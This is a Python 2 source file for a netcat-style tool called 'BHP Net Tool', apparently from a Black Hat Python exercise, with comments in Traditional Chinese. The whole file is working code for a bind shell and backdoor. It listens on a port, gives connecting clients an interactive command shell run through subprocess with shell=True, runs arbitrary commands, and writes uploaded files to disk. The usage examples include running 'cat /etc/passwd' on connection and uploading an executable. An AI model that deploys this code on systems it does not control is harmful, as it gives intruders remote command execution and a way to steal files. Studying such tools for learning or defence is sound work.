#!/usr/bin/python #-*- coding:utf8 -*- import sys import socket import getopt import threading import subprocess # 定義一些全域變數 listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 def run_command(command): # 刪除字串末尾的空格 command = command.rstrip() # 運行命令並將輸出放回 try: output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # 將輸出發送 return output def client_handler(client_socket): global upload global execute global command # 檢查上傳檔案 if len(upload_destination): # 讀取所有的字元並寫下目標 file_buffer = "" # 持續讀取資料直到沒有符合的資料 while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data try: file_descriptor = open(upload_destination, "wb") file_descriptor.write(file_buffer) file_descriptor.close() client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % upload_destination) # 檢查命令執行 if len(execute): # 運行命令 output = run_command(execute) client_socket.send(output) # 如果需要一個命令列shell,那麼我們進入另一個迴圈 if command: while True: # 跳出一個視窗 client_socket.send("<BHP:#>") cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) # 返回命令輸出 response = run_command(cmd_buffer) # 返迴響應資料 client_socket.send(response) def server_loop(): global target # 如果沒有定義目標,那我們監聽所有介面 if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port)) server.listen(5) while True: client_socket, addr = server.accept() # 分拆一個線程處理新的用戶端 client_thread = threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start() def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # 串連到目標主機 client.connect((target, port)) if len(buffer): client.send(buffer) while True: # 現在等待資料回傳 recv_len = 1 response = "" while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print response # 等待更多的輸入 buffer = raw_input("") buffer += "\n" # 發送出去 client.send(buffer) except: print "[*] Exception! Exiting." #關閉串連 client.close() def usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host - p port" print "-l --listen - listen on [host]:[port] for incoming connections" print "-e --execute=file_to_run -execute the given file upon receiving a connection" print "-c --command - initialize a commandshell" print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" print print print "Examples:" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() # 讀取命令列選項,若沒有該選項則顯示用法 try: opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l", "--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--commandshell"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False,"Unhandled Option" #我們是進行監聽還是僅從標準輸入讀取資料並發送資料。 if not listen and len(target) and port > 0: # 從命令列讀取記憶體資料 # 這裡將阻塞,所以不再向標準輸入發送資料時發送CTRL-D buffer = sys.stdin.read() # 發送資料 client_sender(buffer) # 我們開始監聽並準備上傳檔案,執行命令 # 放置一個反彈shell # 取決於上面的命令列選項 if listen: server_loop() #調用main函數 main()